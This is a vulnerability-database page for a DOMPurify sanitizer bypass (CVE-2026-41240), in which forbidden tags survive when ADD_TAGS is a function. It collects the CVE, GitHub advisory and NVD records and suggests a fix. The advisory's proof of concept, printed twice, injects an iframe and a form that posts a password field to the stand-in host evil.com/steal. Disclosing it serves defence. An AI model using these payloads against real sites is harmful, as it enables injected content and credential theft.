Vulnerability-Lookup

CVE-2026-41240 (GCVE-0-2026-41240)

Vulnerability from cvelistv5 – Published: 2026-04-23 14:54 – Updated: 2026-04-23 17:21

Title

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Summary

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Severity ?

6 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-183 - Permissive List of Allowed Inputs
CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/cure53/DOMPurify/security/advi…	x_refsource_CONFIRM
	https://github.com/cure53/DOMPurify/commit/c361ba…	x_refsource_MISC
	https://github.com/cure53/DOMPurify/releases/tag/3.4.0	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	cure53	DOMPurify	Affected: < 3.4.0

Show details on NVD website

JSON

To clipboard

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GHSA-H7MW-GPVR-XQ4M

Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-22 17:34

Summary

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity ?

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:34:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027iframe\u0027]\n      }\n    );\n    // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n    // Expected: \u0027\u0027 (iframe forbidden)\n\n    DOMPurify.sanitize(\n      \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027form\u0027]\n      }\n    );\n    // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n    // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: [\u0027onclick\u0027]\n      }\n    );\n    // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "id": "GHSA-h7mw-gpvr-xq4m",
  "modified": "2026-04-22T17:34:17Z",
  "published": "2026-04-22T17:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}

FKIE_CVE-2026-41240

Vulnerability from fkie_nvd - Published: 2026-04-23 16:16 - Updated: 2026-04-24 14:41

Severity ?

6.0 (Medium) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80
	security-advisories@github.com	https://github.com/cure53/DOMPurify/releases/tag/3.4.0
	security-advisories@github.com	https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue."
    }
  ],
  "id": "CVE-2026-41240",
  "lastModified": "2026-04-24T14:41:55.890",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.0,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-23T16:16:26.710",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-183"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-41240 (GCVE-0-2026-41240)

GHSA-H7MW-GPVR-XQ4M

FKIE_CVE-2026-41240

Tags

Sightings

Nomenclature